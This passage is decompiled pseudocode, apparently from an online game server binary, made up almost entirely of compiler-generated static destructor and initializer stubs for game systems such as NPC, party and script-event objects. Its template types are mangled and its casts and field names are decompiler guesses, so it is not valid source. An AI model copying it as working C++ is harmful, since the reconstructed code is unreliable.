KQContribute::KQContributeList::_KQContributeList((KQContribute::KQContributeList *)&g_FamilyMobManager); } //----- (00593950) -------------------------------------------------------- void __cdecl _E7_40() { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator::_StaticVector(&pathbuffer); } //----- (00593AA0) -------------------------------------------------------- void __cdecl _E2_15() { NPCItemList::NPCItemListTable::_NPCItemListTable(&npcitemlist); } //----- (00593AB0) -------------------------------------------------------- void __cdecl _E5_40() { NPCRoleBase::_NPCRoleBase(&npcrolebase); } //----- (00593AC0) -------------------------------------------------------- void __cdecl _E11_19() { BinaryDataBox::_BinaryDataBox((MobResistTable *)&merchantcity); } //----- (00593AD0) -------------------------------------------------------- void __cdecl _E8_23() { NPCManager::_NPCManager(&npcmanager); } //----- (00593AE0) -------------------------------------------------------- void __cdecl _E7_42() { OPToolSession::_OPToolSession((OPToolSession *)&optoolsock); } //----- (00593AF0) -------------------------------------------------------- void __cdecl _E4_71() { OPToolList::_OPToolList((OPToolList *)&optoollist); } //----- (00593B30) -------------------------------------------------------- void __cdecl _E2_16() { ShineCommonParameter::_ShineCommonParameter((ShineScript *)&shineparam); } //----- (00593B40) -------------------------------------------------------- void __cdecl _E5_42() { CParty::_CParty(&partycontainer); } //----- (00593B80) -------------------------------------------------------- void __cdecl _E8_26() { Tracer::_Tracer(&linestep); } //----- (00593B90) -------------------------------------------------------- void __cdecl _E14_8() { PathFindTable::_PathFindTable(&pathfindtable); } //----- (00593BA0) -------------------------------------------------------- void __cdecl _E5_43() { List::_List((ItemLotAnalyser::LotAnalyser *)&junctionpointlist); } //----- (00593BB0) -------------------------------------------------------- void __cdecl _E11_21() { CellStack::_CellStack(&cellstack); } //----- (00593BD0) -------------------------------------------------------- void __cdecl _E4_73() { void **v0; // esi@1 gdsprotofunc.vfptr = (PROTOCOLFUNCTIONTEMPLETEVtbl *)&PROTOCOLFUNCTIONTEMPLETE::_vftable_; v0 = (void **)gdsprotofunc.pft_funcpnt; do { if ( *v0 != gdsprotofunc.4100 ) operator delete__(*v0); ++v0; } while ( (signed int)v0 < (signed int)gdsprotofunc.4100 ); } // 5B0E98: using guessed type int (__thiscall *PROTOCOLFUNCTIONTEMPLETE_void ___thiscall GameDBSession_____NETCOMMAND __int_____vftable_)(void *p, char); //----- (00593C00) -------------------------------------------------------- void __cdecl _E4_74() { void **v0; // esi@1 shineprotofunc.vfptr = (PROTOCOLFUNCTIONTEMPLETEVtbl *)PROTOCOLFUNCTIONTEMPLETE::_vftable_; v0 = (void **)shineprotofunc.pft_funcpnt; do { if ( *v0 != shineprotofunc.4100 ) operator delete__(*v0); ++v0; } while ( (signed int)v0 < (signed int)shineprotofunc.4100 ); } // 5B0F08: using guessed type int (__thiscall *PROTOCOLFUNCTIONTEMPLETE_void ___thiscall ShineObjectClass__ShinePlayer_____NETCOMMAND __int_unsigned short_____vftable_[5])(void *p, char); //----- (00593C30) -------------------------------------------------------- void __cdecl _E4_75() { void **v0; // esi@1 glsprotofunc.vfptr = (PROTOCOLFUNCTIONTEMPLETEVtbl *)PROTOCOLFUNCTIONTEMPLETE::_vftable_; v0 = (void **)glsprotofunc.pft_funcpnt; do { if ( *v0 != glsprotofunc.4100 ) operator delete__(*v0); ++v0; } while ( (signed int)v0 < (signed int)glsprotofunc.4100 ); } // 5B0F0C: using guessed type int (__thiscall *PROTOCOLFUNCTIONTEMPLETE_void ___thiscall GameLogSession_____NETCOMMAND __int_____vftable_[4])(void *p, char); //----- (00593C60) -------------------------------------------------------- void __cdecl _E4_76() { void **v0; // esi@1 optsprotofunc.vfptr = (PROTOCOLFUNCTIONTEMPLETEVtbl *)PROTOCOLFUNCTIONTEMPLETE::_vftable_; v0 = (void **)optsprotofunc.pft_funcpnt; do { if ( *v0 != optsprotofunc.this ) operator delete__(*v0); ++v0; } while ( (signed int)v0 < (signed int)optsprotofunc.this ); } // 5B0F10: using guessed type int (__thiscall *PROTOCOLFUNCTIONTEMPLETE_void ___thiscall OPToolSession_____NETCOMMAND ______vftable_[3])(void *p, char); //----- (00593C90) -------------------------------------------------------- void __cdecl _E4_77() { void **v0; // esi@1 wldmanprotofunc.vfptr = (PROTOCOLFUNCTIONTEMPLETEVtbl *)PROTOCOLFUNCTIONTEMPLETE::_vftable_; v0 = (void **)wldmanprotofunc.pft_funcpnt; do { if ( *v0 != wldmanprotofunc.4100 ) operator delete__(*v0); ++v0; } while ( (signed int)v0 < (signed int)wldmanprotofunc.4100 ); } // 5B0F14: using guessed type int (__thiscall *PROTOCOLFUNCTIONTEMPLETE_void ___thiscall WorldManagerSession_____NETCOMMAND __int_____vftable_[2])(void *p, char); //----- (00593CC0) -------------------------------------------------------- void __cdecl _E4_78() { void **v0; // esi@1 zlsprotofunc.vfptr = (PROTOCOLFUNCTIONTEMPLETEVtbl *)&PROTOCOLFUNCTIONTEMPLETE::_vftable_; v0 = (void **)zlsprotofunc.pft_funcpnt; do { if ( *v0 != zlsprotofunc.this ) operator delete__(*v0); ++v0; } while ( (signed int)v0 < (signed int)zlsprotofunc.this ); } // 5B0F18: using guessed type int (__thiscall *PROTOCOLFUNCTIONTEMPLETE_void ___thiscall ZoneListenSession_____NETCOMMAND ______vftable_)(void *p, char); //----- (00593D20) -------------------------------------------------------- void __cdecl _E13_19() { sysfuncbase[0] = (int (__stdcall *(*)[26])(int, int, int))PineEventScriptNode::SysFuncBase::_vftable_; } // 5B0F4C: using guessed type int (__stdcall *PineEventScriptNode__SysFuncBase___vftable_[26])(int buffer, int ps, int argumentlist); // 603208: using guessed type int (__stdcall *(*sysfuncbase[2])[26])(int buffer, int ps, int argumentlist); //----- (00593D30) -------------------------------------------------------- void __cdecl _E16_14() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineGetLoseGuild *)&sysfuncrand); } //----- (00593D40) -------------------------------------------------------- void __cdecl _E19_13() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineGetLoseGuild *)&sysfuncsqrt); } //----- (00593D50) -------------------------------------------------------- void __cdecl _E22_9() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineGetLoseGuild *)&sysfuncdistance); } //----- (00593D60) -------------------------------------------------------- void __cdecl _E25_9() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineGetLoseGuild *)&sysfuncshinemobregen); } //----- (00593D70) -------------------------------------------------------- void __cdecl _E28_7() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineGetLoseGuild *)&sysfuncshinedoorbuild); } //----- (00593D80) -------------------------------------------------------- void __cdecl _E31_8() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineGetLoseGuild *)&sysfuncshinenpcstand); } //----- (00593D90) -------------------------------------------------------- void __cdecl _E34_6() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineGetLoseGuild *)&sysfuncshinechange2mob); } //----- (00593DA0) -------------------------------------------------------- void __cdecl _E37_5() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineGetLoseGuild *)&sysfuncshinechange2door); } //----- (00593DB0) -------------------------------------------------------- void __cdecl _E40_5() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineGetLoseGuild *)&sysfuncshinechange2npc); } //----- (00593DC0) -------------------------------------------------------- void __cdecl _E43_5() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineGetLoseGuild *)&sysfuncshinecount); } //----- (00593DD0) -------------------------------------------------------- void __cdecl _E46_6() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineGetLoseGuild *)&sysfuncshinerestsec); } //----- (00593DE0) -------------------------------------------------------- void __cdecl _E49_6() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineGetLoseGuild *)&sysfuncshinecharclass); } //----- (00593DF0) -------------------------------------------------------- void __cdecl _E52_2() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineGetLoseGuild *)&sysfuncshinecharname); } //----- (00593E00) -------------------------------------------------------- void __cdecl _E55_2() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineGetLoseGuild *)&sysfuncshinedeadnum); } //----- (00593E10) -------------------------------------------------------- void __cdecl _E58_2() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineGetLoseGuild *)&sysfuncshinecircularlocate); } //----- (00593E20) -------------------------------------------------------- void __cdecl _E61_2() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineGetLoseGuild *)&sysfuncshineremovefisrt); } //----- (00593E30) -------------------------------------------------------- void __cdecl _E64_2() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineGetLoseGuild *)&sysfuncshinegetobjectlist); } //----- (00593E40) -------------------------------------------------------- void __cdecl _E67_1() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineGetLoseGuild *)&sysfuncshinekqresultlist); } //----- (00593E50) -------------------------------------------------------- void __cdecl _E70_2() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineGetLoseGuild *)&sysfuncshinekqtoplist); } //----- (00593E60) -------------------------------------------------------- void __cdecl _E73_1() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineGetLoseGuild *)&sysfuncshinedistance); } //----- (00593E70) -------------------------------------------------------- void __cdecl _E76_2() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineGetLoseGuild *)&sysfuncshineplayerinarea); } //----- (00593E80) -------------------------------------------------------- void __cdecl _E79_1() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineGetLoseGuild *)&sysfuncshinerange); } //----- (00593E90) -------------------------------------------------------- void __cdecl _E82_1() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineGetLoseGuild *)&sysfuncshineisgateuse); } //----- (00593EA0) -------------------------------------------------------- void __cdecl _E85_1() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineGetLoseGuild *)&sysfuncshinegetwinnerguild); } //----- (00593EB0) -------------------------------------------------------- void __cdecl _E88_1() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen(&sysfuncshinegetloseGuild); } //----- (00593EC0) -------------------------------------------------------- void __cdecl _E4_79() { PineEventScriptNode::StatementList::_StatementList(&ps_statementlist); } //----- (00593EF0) -------------------------------------------------------- void __cdecl _E2_19() { PineScriptMobRegenerator::_PineScriptMobRegenerator(&scriptmobregen); } //----- (00593F10) -------------------------------------------------------- void __cdecl _E8_28() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_all); } //----- (00593F20) -------------------------------------------------------- void __cdecl _E11_22() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_me); } //----- (00593F30) -------------------------------------------------------- void __cdecl _E14_9() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_ply); } //----- (00593F40) -------------------------------------------------------- void __cdecl _E17_13() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_hour); } //----- (00593F50) -------------------------------------------------------- void __cdecl _E20_4() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_minute); } //----- (00593F60) -------------------------------------------------------- void __cdecl _E23_5() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_sec); } //----- (00593F70) -------------------------------------------------------- void __cdecl _E26_3() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_millisec); } //----- (00593F80) -------------------------------------------------------- void __cdecl _E29_4() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_kq); } //----- (00593F90) -------------------------------------------------------- void __cdecl _E32_2() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_suc); } //----- (00593FA0) -------------------------------------------------------- void __cdecl _E35_1() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_fail); } //----- (00593FB0) -------------------------------------------------------- void __cdecl _E38_1() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_areaentry); } //----- (00593FC0) -------------------------------------------------------- void __cdecl _E41_0() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_arealeave); } //----- (00593FD0) -------------------------------------------------------- void __cdecl _E44_1() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_npcclickhandle); } //----- (00593FE0) -------------------------------------------------------- void __cdecl _E47_1() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_npcclickindex); } //----- (00593FF0) -------------------------------------------------------- void __cdecl _E50_0() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_npcclickany); } //----- (00594000) -------------------------------------------------------- void __cdecl _E53_1() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_hplow); } //----- (00594010) -------------------------------------------------------- void __cdecl _E56_1() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_mobeliminate); } //----- (00594020) -------------------------------------------------------- void __cdecl _E59_1() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_playereliminate); } //----- (00594030) -------------------------------------------------------- void __cdecl _E62_1() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_guildliminate); } //----- (00594040) -------------------------------------------------------- void __cdecl _E65_1() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_timeout); } //----- (00594050) -------------------------------------------------------- void __cdecl _E68_0() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_deadhandle); } //----- (00594060) -------------------------------------------------------- void __cdecl _E71() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_deadindex); } //----- (00594070) -------------------------------------------------------- void __cdecl _E74_0() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_killenemy); } //----- (00594080) -------------------------------------------------------- void __cdecl _E77() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_targetchange); } //----- (00594090) -------------------------------------------------------- void __cdecl _E80_0() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_playerdead); } //----- (005940A0) -------------------------------------------------------- void __cdecl _E83() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_admin); } //----- (005940B0) -------------------------------------------------------- void __cdecl _E86() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_on); } //----- (005940C0) -------------------------------------------------------- void __cdecl _E89() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_off); } //----- (005940D0) -------------------------------------------------------- void __cdecl _E92() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_logout); } //----- (005940E0) -------------------------------------------------------- void __cdecl _E95() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_anywhere); } //----- (005940F0) -------------------------------------------------------- void __cdecl _E98_0() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_handle); } //----- (00594100) -------------------------------------------------------- void __cdecl _E101_0() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_guild); } //----- (00594110) -------------------------------------------------------- void __cdecl _E104() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_recover); } //----- (00594120) -------------------------------------------------------- void __cdecl _E107() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_noaggro); } //----- (00594130) -------------------------------------------------------- void __cdecl _E110() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_pk); } //----- (00594140) -------------------------------------------------------- void __cdecl _E113() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_hit); } //----- (00594150) -------------------------------------------------------- void __cdecl _E116() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_observer); } //----- (00594160) -------------------------------------------------------- void __cdecl _E119() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_GuildTournamentStart); } //----- (00594170) -------------------------------------------------------- void __cdecl _E122() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_Result); } //----- (00594180) -------------------------------------------------------- void __cdecl _E125() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_hpfull); } //----- (00594190) -------------------------------------------------------- void __cdecl _E128() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_beggar); } //----- (005941A0) -------------------------------------------------------- void __cdecl _E131() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_allwithout); } //----- (005941B0) -------------------------------------------------------- void __cdecl _E134() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_CostumeHeadAcc); } //----- (005941C0) -------------------------------------------------------- void __cdecl _E137() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_CostumeBodyAcc); } //----- (005941D0) -------------------------------------------------------- void __cdecl _E140() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_split); } //----- (005941E0) -------------------------------------------------------- void __cdecl _E143() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_pickupitemindex); } //----- (005941F0) -------------------------------------------------------- void __cdecl _E146() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_dicegameend); } //----- (00594200) -------------------------------------------------------- void __cdecl _E149() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_mobindex); } //----- (00594210) -------------------------------------------------------- void __cdecl _E152() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_hpupper); } //----- (00594240) -------------------------------------------------------- void __cdecl _E2_20() { ShineCommonParameter::_ShineCommonParameter((ShineScript *)&recallpoint); } //----- (00594260) -------------------------------------------------------- void __cdecl _E5_46() { engnormatt.vfptr = (EngNormAttVtbl *)EngNormAtt::_vftable_; } // 5B6DB8: using guessed type int (__stdcall *EngNormAtt___vftable_[4])(int, int, int ef); //----- (00594270) -------------------------------------------------------- void __cdecl _E8_29() { EngSklAtt::_EngSklAtt(&engsklatt); } //----- (00594280) -------------------------------------------------------- void __cdecl _E11_23() { RuleOfEngagementHealAttack::_RuleOfEngagementHealAttack((RuleOfEngagementHealAttack *)&roe_normalPY); } //----- (00594290) -------------------------------------------------------- void __cdecl _E14_10() { RuleOfEngagementHealAttack::_RuleOfEngagementHealAttack((RuleOfEngagementHealAttack *)&roe_normalMA); } //----- (005942A0) -------------------------------------------------------- void __cdecl _E17_14() { RuleOfEngagementHealAttack::_RuleOfEngagementHealAttack((RuleOfEngagementHealAttack *)&roe_physical); } //----- (005942B0) -------------------------------------------------------- void __cdecl _E20_5() { RuleOfEngagementHealAttack::_RuleOfEngagementHealAttack((RuleOfEngagementHealAttack *)&roe_magical); } //----- (005942C0) -------------------------------------------------------- void __cdecl _E23_6() { RuleOfEngagementHealAttack::_RuleOfEngagementHealAttack((RuleOfEngagementHealAttack *)&roe_cure); } //----- (005942D0) -------------------------------------------------------- void __cdecl _E26_4() { RuleOfEngagementHealAttack::_RuleOfEngagementHealAttack((RuleOfEngagementHealAttack *)&roe_always); } //----- (005942E0) -------------------------------------------------------- void __cdecl _E29_5() { RuleOfEngagementHealAttack::_RuleOfEngagementHealAttack((RuleOfEngagementHealAttack *)&roe_alwaysCritical); } //----- (005942F0) -------------------------------------------------------- void __cdecl _E32_3() { RuleOfEngagementHealAttack::_RuleOfEngagementHealAttack(&roe_alwaysHealAttack); } //----- (00594310) -------------------------------------------------------- void __cdecl _E5_47() { ScenarioBookShelf::_ScenarioBookShelf(&scenarioshelf); } //----- (00594340) -------------------------------------------------------- void __cdecl _E4_81() { ScriptInterrupt::ScriptInterruptObjectDeadIndex::_ScriptInterruptObjectDeadIndex((ScriptInterrupt::ScriptInteruptWinGuild *)&si_AreaEntry); } //----- (00594350) -------------------------------------------------------- void __cdecl _E7_44() { ScriptInterrupt::ScriptInterruptObjectDeadIndex::_ScriptInterruptObjectDeadIndex((ScriptInterrupt::ScriptInteruptWinGuild *)&si_AreaLeave); } //----- (00594360) -------------------------------------------------------- void __cdecl _E10_21() { ScriptInterrupt::ScriptInterruptObjectDeadIndex::_ScriptInterruptObjectDeadIndex((ScriptInterrupt::ScriptInteruptWinGuild *)&si_NPCClickHandle); } //----- (00594370) -------------------------------------------------------- void __cdecl _E13_20() { ScriptInterrupt::ScriptInterruptObjectDeadIndex::_ScriptInterruptObjectDeadIndex((ScriptInterrupt::ScriptInteruptWinGuild *)&si_NPCClickIndex); } //----- (00594380) -------------------------------------------------------- void __cdecl _E16_15() { ScriptInterrupt::ScriptInterruptObjectDeadIndex::_ScriptInterruptObjectDeadIndex((ScriptInterrupt::ScriptInteruptWinGuild *)&si_NPCClickAny); } //----- (00594390) -------------------------------------------------------- void __cdecl _E19_14() { ScriptInterrupt::ScriptInterruptObjectDeadIndex::_ScriptInterruptObjectDeadIndex((ScriptInterrupt::ScriptInteruptWinGuild *)&si_ObjectDeadHandle); } //----- (005943A0) -------------------------------------------------------- void __cdecl _E22_10() { ScriptInterrupt::ScriptInterruptObjectDeadIndex::_ScriptInterruptObjectDeadIndex((ScriptInterrupt::ScriptInteruptWinGuild *)&si_ObjectDeadIndex); } //----- (005943B0) -------------------------------------------------------- void __cdecl _E25_10() { ScriptInterrupt::ScriptInterruptObjectDeadIndex::_ScriptInterruptObjectDeadIndex((ScriptInterrupt::ScriptInteruptWinGuild *)&si_MobEliminate); } //----- (005943C0) -------------------------------------------------------- void __cdecl _E28_8() { ScriptInterrupt::ScriptInterruptObjectDeadIndex::_ScriptInterruptObjectDeadIndex((ScriptInterrupt::ScriptInteruptWinGuild *)&si_PlayerEliminate); } //----- (005943D0) -------------------------------------------------------- void __cdecl _E31_9() { ScriptInterrupt::ScriptInterruptObjectDeadIndex::_ScriptInterruptObjectDeadIndex((ScriptInterrupt::ScriptInteruptWinGuild *)&si_GuildEliminate); } //----- (005943E0) -------------------------------------------------------- void __cdecl _E34_7() { ScriptInterrupt::ScriptInterruptObjectDeadIndex::_ScriptInterruptObjectDeadIndex((ScriptInterrupt::ScriptInteruptWinGuild *)&si_Interval); } //----- (005943F0) -------------------------------------------------------- void __cdecl _E37_6() { ScriptInterrupt::ScriptInterruptObjectDeadIndex::_ScriptInterruptObjectDeadIndex((ScriptInterrupt::ScriptInteruptWinGuild *)&si_HPLow); } //----- (00594400) -------------------------------------------------------- void __cdecl _E40_6() { ScriptInterrupt::ScriptInterruptObjectDeadIndex::_ScriptInterruptObjectDeadIndex((ScriptInterrupt::ScriptInteruptWinGuild *)&si_TimeOut); } //----- (00594410) -------------------------------------------------------- void __cdecl _E43_6() { ScriptInterrupt::ScriptInterruptObjectDeadIndex::_ScriptInterruptObjectDeadIndex((ScriptInterrupt::ScriptInteruptWinGuild *)&si_KillEnemy); } //----- (00594420) -------------------------------------------------------- void __cdecl _E46_7() { ScriptInterrupt::ScriptInterruptObjectDeadIndex::_ScriptInterruptObjectDeadIndex((ScriptInterrupt::ScriptInteruptWinGuild *)&si_TargetChange); } //----- (00594430) -------------------------------------------------------- void __cdecl _E49_7() { ScriptInterrupt::ScriptInterruptObjectDeadIndex::_ScriptInterruptObjectDeadIndex((ScriptInterrupt::ScriptInteruptWinGuild *)&si_PlayerDead); } //----- (00594440) -------------------------------------------------------- void __cdecl _E52_3() { ScriptInterrupt::ScriptInterruptObjectDeadIndex::_ScriptInterruptObjectDeadIndex((ScriptInterrupt::ScriptInteruptWinGuild *)&si_PickUpItemIndex); } //----- (00594450) -------------------------------------------------------- void __cdecl _E55_3() { ScriptInterrupt::ScriptInterruptObjectDeadIndex::_ScriptInterruptObjectDeadIndex((ScriptInterrupt::ScriptInteruptWinGuild *)&si_Admin); } //----- (00594460) -------------------------------------------------------- void __cdecl _E58_3() { ScriptInterrupt::ScriptInterruptObjectDeadIndex::_ScriptInterruptObjectDeadIndex((ScriptInterrupt::ScriptInteruptWinGuild *)&si_HPFull); } //----- (00594470) -------------------------------------------------------- void __cdecl _E61_3() { ScriptInterrupt::ScriptInterruptObjectDeadIndex::_ScriptInterruptObjectDeadIndex((ScriptInterrupt::ScriptInteruptWinGuild *)&si_HPUpper); } //----- (00594480) -------------------------------------------------------- void __cdecl _Instance() { ScriptInterrupt::ScriptInterruptObjectDeadIndex::_ScriptInterruptObjectDeadIndex(&_Instance); } //----- (00594490) -------------------------------------------------------- void __cdecl _ins() { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator::_MemoryQueue(&setitemskilleffectqueue); } //----- (005946B0) -------------------------------------------------------- void __cdecl _E8_32() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&allofrangearg); } //----- (005946D0) -------------------------------------------------------- void __cdecl _E14_12() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&ShineObjectClass::ShineObject::so_defaultparam); } //----- (005946E0) -------------------------------------------------------- void __cdecl _E17_15() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&ShineObjectClass::ShineObject::so_spy); } //----- (005946F0) -------------------------------------------------------- void __cdecl _E20_6() { ShineObjectClass::ShineObject::so_dummypacketcontainer = &PacketContainerBase::_vftable_; } // 5BF980: using guessed type int (__stdcall *PacketContainerBase___vftable_)(int sklidx); // 603218: using guessed type int (__stdcall **ShineObjectClass__ShineObject__so_dummypacketcontainer)(int sklidx); //----- (00594700) -------------------------------------------------------- void __cdecl _E23_7() { AbnormalStateContainer::AbstateListInObject::_AbstateListInObject(&ShineObjectClass::ShineObject::so_defabstatelist); } //----- (00594710) -------------------------------------------------------- void __cdecl _E26_5() { ItemOperateList::_ItemOperateList((int)&ShineObjectClass::ShineObject::so_defitemoperate); } //----- (00594720) -------------------------------------------------------- void __cdecl _E29_6() { InventoryLocking::InventoryCellLock::_InventoryCellLock(&ShineObjectClass::ShineObject::so_definvlocklist); } //----- (00594730) -------------------------------------------------------- void __cdecl _E35_3() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&ShineObjectClass::ShineObject::so_deftradebrd); } //----- (00594740) -------------------------------------------------------- void __cdecl _E38_2() { ShineObjectClass::ShinePlayer::MiniHouseStr::_MiniHouseStr((ShineObjectClass::ShinePlayer::MiniHouseStr *)&ShineObjectClass::ShineObject::so_DefCharTitle); } //----- (00594750) -------------------------------------------------------- void __cdecl _E41_1() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&ShineObjectClass::ShineObject::so_PacketEncrypt); } //----- (00594760) -------------------------------------------------------- void __cdecl _E47_2() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&ShineObjectClass::ShineObject::so_ItemLotInspector); } //----- (00594790) -------------------------------------------------------- void __cdecl _E57_2() { TargetAnalyser_Player::_TargetAnalyser_Player((TargetAnalyser_Player *)&ShineObjectClass::ShineMobileObject::TA::tmp); } //----- (005947A0) -------------------------------------------------------- void __cdecl _E60_2() { StreetBooth::_StreetBooth(&ShineObjectClass::ShinePlayer::BoothSell::board); } //----- (005947B0) -------------------------------------------------------- void __cdecl _E63_2() { ClientSession::_ClientSession(&ShineObjectClass::ShinePlayer::sp_defaultsocket); } //----- (00594850) -------------------------------------------------------- void __cdecl _E32_4() { CharacterInventory::_CharacterInventory(&ShineObjectClass::ShineObject::so_defiteminven); } //----- (00594880) -------------------------------------------------------- void __cdecl _E85_2() { ShineObjectManager::_ShineObjectManager(&shineobjmanager); } //----- (00594A00) -------------------------------------------------------- void __cdecl _E30_3() { FanFormSectorArgument::_FanFormSectorArgument(&ffsa); } //----- (00594A20) -------------------------------------------------------- void __cdecl _E21_5() { 